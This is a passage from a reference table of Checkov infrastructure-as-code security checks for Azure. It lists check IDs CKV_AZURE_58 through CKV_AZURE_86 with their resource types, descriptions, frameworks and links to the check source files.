Ensure that Azure Synapse workspaces enables managed virtual networks | Bicep | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesManagedVirtualNetworks.py) | | 5709 | CKV_AZURE_58 | resource | azurerm_synapse_workspace | Ensure that Azure Synapse workspaces enables managed virtual networks | Terraform | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesManagedVirtualNetworks.py) | | 5710 | CKV_AZURE_59 | resource | Microsoft.Storage/storageAccounts | Ensure that Storage accounts disallow public access | arm | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDisablePublicAccess.py) | | 5711 | CKV_AZURE_59 | resource | Microsoft.Storage/storageAccounts | Ensure that Storage accounts disallow public access | Bicep | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDisablePublicAccess.py) | | 5712 | CKV_AZURE_59 | resource | azurerm_storage_account | Ensure that Storage accounts disallow public access | Terraform | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDisablePublicAccess.py) | | 5713 | CKV_AZURE_61 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for App Service | Terraform | [AzureDefenderOnAppServices.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnAppServices.py) | | 5714 | CKV_AZURE_62 | resource | Microsoft.Web/sites | Ensure function apps are not accessible from all regions | arm | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppDisallowCORS.py) | | 5715 | CKV_AZURE_62 | resource | Microsoft.Web/sites | Ensure function apps are not accessible from all regions | Bicep | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppDisallowCORS.py) | | 5716 | CKV_AZURE_62 | resource | azurerm_function_app | Ensure function apps are not accessible from all regions | Terraform | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppDisallowCORS.py) | | 5717 | CKV_AZURE_63 | resource | Microsoft.Web/sites/config | Ensure that App service enables HTTP logging | arm | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttpLoggingEnabled.py) | | 5718 | CKV_AZURE_63 | resource | Microsoft.Web/sites/config | Ensure that App service enables HTTP logging | Bicep | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttpLoggingEnabled.py) | | 5719 | CKV_AZURE_63 | resource | azurerm_app_service | Ensure that App service enables HTTP logging | Terraform | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py) | | 5720 | CKV_AZURE_63 | resource | azurerm_linux_web_app | Ensure that App service enables HTTP logging | Terraform | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py) | | 5721 | CKV_AZURE_63 | resource | azurerm_windows_web_app | Ensure that App service enables HTTP logging | Terraform | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py) | | 5722 | CKV_AZURE_64 | resource | Microsoft.StorageSync/storageSyncServices | Ensure that Azure File Sync disables public network access | arm | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageSyncPublicAccessDisabled.py) | | 5723 | CKV_AZURE_64 | resource | Microsoft.StorageSync/storageSyncServices | Ensure that Azure File Sync disables public network access | Bicep | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageSyncPublicAccessDisabled.py) | | 5724 | CKV_AZURE_64 | resource | azurerm_storage_sync | Ensure that Azure File Sync disables public network access | Terraform | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageSyncPublicAccessDisabled.py) | | 5725 | CKV_AZURE_65 | resource | Microsoft.Web/sites/config | Ensure that App service enables detailed error messages | arm | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDetailedErrorMessagesEnabled.py) | | 5726 | CKV_AZURE_65 | resource | Microsoft.Web/sites/config | Ensure that App service enables detailed error messages | Bicep | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDetailedErrorMessagesEnabled.py) | | 5727 | CKV_AZURE_65 | resource | azurerm_app_service | Ensure that App service enables detailed error messages | Terraform | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py) | | 5728 | CKV_AZURE_65 | resource | azurerm_linux_web_app | Ensure that App service enables detailed error messages | Terraform | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py) | | 5729 | CKV_AZURE_65 | resource | azurerm_windows_web_app | Ensure that App service enables detailed error messages | Terraform | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py) | | 5730 | CKV_AZURE_66 | resource | Microsoft.Web/sites/config | Ensure that App service enables failed request tracing | arm | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceEnableFailedRequest.py) | | 5731 | CKV_AZURE_66 | resource | Microsoft.Web/sites/config | Ensure that App service enables failed request tracing | Bicep | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceEnableFailedRequest.py) | | 5732 | CKV_AZURE_66 | resource | azurerm_app_service | Ensure that App service enables failed request tracing | Terraform | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py) | | 5733 | CKV_AZURE_66 | resource | azurerm_linux_web_app | Ensure that App service enables failed request tracing | Terraform | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py) | | 5734 | CKV_AZURE_66 | resource | azurerm_windows_web_app | Ensure that App service enables failed request tracing | Terraform | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py) | | 5735 | CKV_AZURE_67 | resource | Microsoft.Web/sites | Ensure that 'HTTP Version' is the latest, if used to run the Function app | arm | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py) | | 5736 | CKV_AZURE_67 | resource | Microsoft.Web/sites | Ensure that 'HTTP Version' is the latest, if used to run the Function app | Bicep | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py) | | 5737 | CKV_AZURE_67 | resource | Microsoft.Web/sites/slots | Ensure that 'HTTP Version' is the latest, if used to run the Function app | arm | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py) | | 5738 | CKV_AZURE_67 | resource | Microsoft.Web/sites/slots | Ensure that 'HTTP Version' is the latest, if used to run the Function app | Bicep | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py) | | 5739 | CKV_AZURE_67 | resource | azurerm_function_app | Ensure that 'HTTP Version' is the latest, if used to run the Function app | Terraform | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppHttpVersionLatest.py) | | 5740 | CKV_AZURE_67 | resource | azurerm_function_app_slot | Ensure that 'HTTP Version' is the latest, if used to run the Function app | Terraform | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppHttpVersionLatest.py) | | 5741 | CKV_AZURE_68 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server disables public network access | arm | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerPublicAccessDisabled.py) | | 5742 | CKV_AZURE_68 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server disables public network access | Bicep | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerPublicAccessDisabled.py) | | 5743 | CKV_AZURE_68 | resource | azurerm_postgresql_server | Ensure that PostgreSQL server disables public network access | Terraform | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerPublicAccessDisabled.py) | | 5744 | CKV_AZURE_69 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Azure SQL database servers | Terraform | [AzureDefenderOnSqlServers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServers.py) | | 5745 | CKV_AZURE_70 | resource | Microsoft.Web/sites | Ensure that Function apps is only accessible over HTTPS | arm | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 5746 | CKV_AZURE_70 | resource | Microsoft.Web/sites | Ensure that Function apps is only accessible over HTTPS | Bicep | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 5747 | CKV_AZURE_70 | resource | Microsoft.Web/sites/config | Ensure that Function apps is only accessible over HTTPS | arm | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 5748 | CKV_AZURE_70 | resource | Microsoft.Web/sites/config | Ensure that Function apps is only accessible over HTTPS | Bicep | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 5749 | CKV_AZURE_70 | resource | Microsoft.Web/sites/slots | Ensure that Function apps is only accessible over HTTPS | arm | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 5750 | CKV_AZURE_70 | resource | Microsoft.Web/sites/slots | Ensure that Function apps is only accessible over HTTPS | Bicep | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 5751 | CKV_AZURE_70 | resource | azurerm_function_app | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 5752 | CKV_AZURE_70 | resource | azurerm_function_app_slot | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 5753 | CKV_AZURE_70 | resource | azurerm_linux_function_app | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 5754 | CKV_AZURE_70 | resource | azurerm_linux_function_app_slot | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 5755 | CKV_AZURE_70 | resource | azurerm_windows_function_app | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 5756 | CKV_AZURE_70 | resource | azurerm_windows_function_app_slot | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 5757 | CKV_AZURE_71 | resource | Microsoft.Web/sites | Ensure that Managed identity provider is enabled for web apps | arm | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentityProviderEnabled.py) | | 5758 | CKV_AZURE_71 | resource | Microsoft.Web/sites | Ensure that Managed identity provider is enabled for web apps | Bicep | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentityProviderEnabled.py) | | 5759 | CKV_AZURE_71 | resource | azurerm_app_service | Ensure that Managed identity provider is enabled for app services | Terraform | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py) | | 5760 | CKV_AZURE_71 | resource | azurerm_linux_web_app | Ensure that Managed identity provider is enabled for app services | Terraform | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py) | | 5761 | CKV_AZURE_71 | resource | azurerm_windows_web_app | Ensure that Managed identity provider is enabled for app services | Terraform | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py) | | 5762 | CKV_AZURE_72 | resource | Microsoft.Web/sites | Ensure that remote debugging is not enabled for app services | arm | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceRemoteDebuggingNotEnabled.py) | | 5763 | CKV_AZURE_72 | resource | Microsoft.Web/sites | Ensure that remote debugging is not enabled for app services | Bicep | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceRemoteDebuggingNotEnabled.py) | | 5764 | CKV_AZURE_72 | resource | azurerm_app_service | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 5765 | CKV_AZURE_72 | resource | azurerm_linux_function_app | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 5766 | CKV_AZURE_72 | resource | azurerm_linux_function_app_slot | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 5767 | CKV_AZURE_72 | resource | azurerm_linux_web_app | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 5768 | CKV_AZURE_72 | resource | azurerm_linux_web_app_slot | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 5769 | CKV_AZURE_72 | resource | azurerm_windows_function_app | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 5770 | CKV_AZURE_72 | resource | azurerm_windows_function_app_slot | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 5771 | CKV_AZURE_72 | resource | azurerm_windows_web_app | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 5772 | CKV_AZURE_72 | resource | azurerm_windows_web_app_slot | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 5773 | CKV_AZURE_73 | resource | Microsoft.Automation/automationAccounts/variables | Ensure that Automation account variables are encrypted | arm | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AutomationEncrypted.py) | | 5774 | CKV_AZURE_73 | resource | Microsoft.Automation/automationAccounts/variables | Ensure that Automation account variables are encrypted | Bicep | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AutomationEncrypted.py) | | 5775 | CKV_AZURE_73 | resource | azurerm_automation_variable_bool | Ensure that Automation account variables are encrypted | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py) | | 5776 | CKV_AZURE_73 | resource | azurerm_automation_variable_datetime | Ensure that Automation account variables are encrypted | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py) | | 5777 | CKV_AZURE_73 | resource | azurerm_automation_variable_int | Ensure that Automation account variables are encrypted | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py) | | 5778 | CKV_AZURE_73 | resource | azurerm_automation_variable_string | Ensure that Automation account variables are encrypted | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py) | | 5779 | CKV_AZURE_74 | resource | Microsoft.Kusto/clusters | Ensure that Azure Data Explorer (Kusto) uses disk encryption | arm | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataExplorerUsesDiskEncryption.py) | | 5780 | CKV_AZURE_74 | resource | Microsoft.Kusto/clusters | Ensure that Azure Data Explorer (Kusto) uses disk encryption | Bicep | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataExplorerUsesDiskEncryption.py) | | 5781 | CKV_AZURE_74 | resource | azurerm_kusto_cluster | Ensure that Azure Data Explorer (Kusto) uses disk encryption | Terraform | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerUsesDiskEncryption.py) | | 5782 | CKV_AZURE_75 | resource | Microsoft.Kusto/clusters | Ensure that Azure Data Explorer uses double encryption | arm | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDataExplorerDoubleEncryptionEnabled.py) | | 5783 | CKV_AZURE_75 | resource | Microsoft.Kusto/clusters | Ensure that Azure Data Explorer uses double encryption | Bicep | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDataExplorerDoubleEncryptionEnabled.py) | | 5784 | CKV_AZURE_75 | resource | azurerm_kusto_cluster | Ensure that Azure Data Explorer uses double encryption | Terraform | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDataExplorerDoubleEncryptionEnabled.py) | | 5785 | CKV_AZURE_76 | resource | Microsoft.Batch/batchAccounts | Ensure that Azure Batch account uses key vault to encrypt data | arm | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountUsesKeyVaultEncryption.py) | | 5786 | CKV_AZURE_76 | resource | Microsoft.Batch/batchAccounts | Ensure that Azure Batch account uses key vault to encrypt data | Bicep | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountUsesKeyVaultEncryption.py) | | 5787 | CKV_AZURE_76 | resource | azurerm_batch_account | Ensure that Azure Batch account uses key vault to encrypt data | Terraform | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureBatchAccountUsesKeyVaultEncryption.py) | | 5788 | CKV_AZURE_77 | resource | azurerm_network_security_group | Ensure that UDP Services are restricted from the Internet | Terraform | [NSGRuleUDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleUDPAccessRestricted.py) | | 5789 | CKV_AZURE_77 | resource | azurerm_network_security_rule | Ensure that UDP Services are restricted from the Internet | Terraform | [NSGRuleUDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleUDPAccessRestricted.py) | | 5790 | CKV_AZURE_78 | resource | Microsoft.Web/sites | Ensure FTP deployments are disabled | arm | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceFTPSState.py) | | 5791 | CKV_AZURE_78 | resource | Microsoft.Web/sites | Ensure FTP deployments are disabled | Bicep | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceFTPSState.py) | | 5792 | CKV_AZURE_78 | resource | azurerm_app_service | Ensure FTP deployments are disabled | Terraform | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py) | | 5793 | CKV_AZURE_78 | resource | azurerm_linux_web_app | Ensure FTP deployments are disabled | Terraform | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py) | | 5794 | CKV_AZURE_78 | resource | azurerm_windows_web_app | Ensure FTP deployments are disabled | Terraform | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py) | | 5795 | CKV_AZURE_79 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for SQL servers on machines | arm | [AzureDefenderOnSqlServersVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnSqlServersVMS.py) | | 5796 | CKV_AZURE_79 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for SQL servers on machines | Bicep | [AzureDefenderOnSqlServersVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnSqlServersVMS.py) | | 5797 | CKV_AZURE_79 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for SQL servers on machines | Terraform | [AzureDefenderOnSqlServerVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServerVMS.py) | | 5798 | CKV_AZURE_80 | resource | Microsoft.Web/sites/config | Ensure that 'Net Framework' version is the latest, if used as a part of the web app | arm | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDotnetFrameworkVersion.py) | | 5799 | CKV_AZURE_80 | resource | Microsoft.Web/sites/config | Ensure that 'Net Framework' version is the latest, if used as a part of the web app | Bicep | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDotnetFrameworkVersion.py) | | 5800 | CKV_AZURE_80 | resource | azurerm_app_service | Ensure that 'Net Framework' version is the latest, if used as a part of the web app | Terraform | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDotnetFrameworkVersion.py) | | 5801 | CKV_AZURE_80 | resource | azurerm_windows_web_app | Ensure that 'Net Framework' version is the latest, if used as a part of the web app | Terraform | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDotnetFrameworkVersion.py) | | 5802 | CKV_AZURE_81 | resource | Microsoft.Web/sites | Ensure that 'PHP version' is the latest, if used to run the web app | arm | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePHPVersion.py) | | 5803 | CKV_AZURE_81 | resource | Microsoft.Web/sites | Ensure that 'PHP version' is the latest, if used to run the web app | Bicep | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePHPVersion.py) | | 5804 | CKV_AZURE_81 | resource | azurerm_app_service | Ensure that 'PHP version' is the latest, if used to run the web app | Terraform | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePHPVersion.py) | | 5805 | CKV_AZURE_82 | resource | Microsoft.Web/sites | Ensure that 'Python version' is the latest, if used to run the web app | arm | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePythonVersion.py) | | 5806 | CKV_AZURE_82 | resource | Microsoft.Web/sites | Ensure that 'Python version' is the latest, if used to run the web app | Bicep | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePythonVersion.py) | | 5807 | CKV_AZURE_82 | resource | azurerm_app_service | Ensure that 'Python version' is the latest, if used to run the web app | Terraform | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePythonVersion.py) | | 5808 | CKV_AZURE_83 | resource | Microsoft.Web/sites | Ensure that 'Java version' is the latest, if used to run the web app | arm | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceJavaVersion.py) | | 5809 | CKV_AZURE_83 | resource | Microsoft.Web/sites | Ensure that 'Java version' is the latest, if used to run the web app | Bicep | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceJavaVersion.py) | | 5810 | CKV_AZURE_83 | resource | azurerm_app_service | Ensure that 'Java version' is the latest, if used to run the web app | Terraform | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceJavaVersion.py) | | 5811 | CKV_AZURE_84 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Storage | arm | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnStorage.py) | | 5812 | CKV_AZURE_84 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Storage | Bicep | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnStorage.py) | | 5813 | CKV_AZURE_84 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Storage | Terraform | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnStorage.py) | | 5814 | CKV_AZURE_85 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Kubernetes | arm | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKubernetes.py) | | 5815 | CKV_AZURE_85 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Kubernetes | Bicep | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKubernetes.py) | | 5816 | CKV_AZURE_85 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Kubernetes | Terraform | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnKubernetes.py) | | 5817 | CKV_AZURE_86 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Container Registries | Terraform | 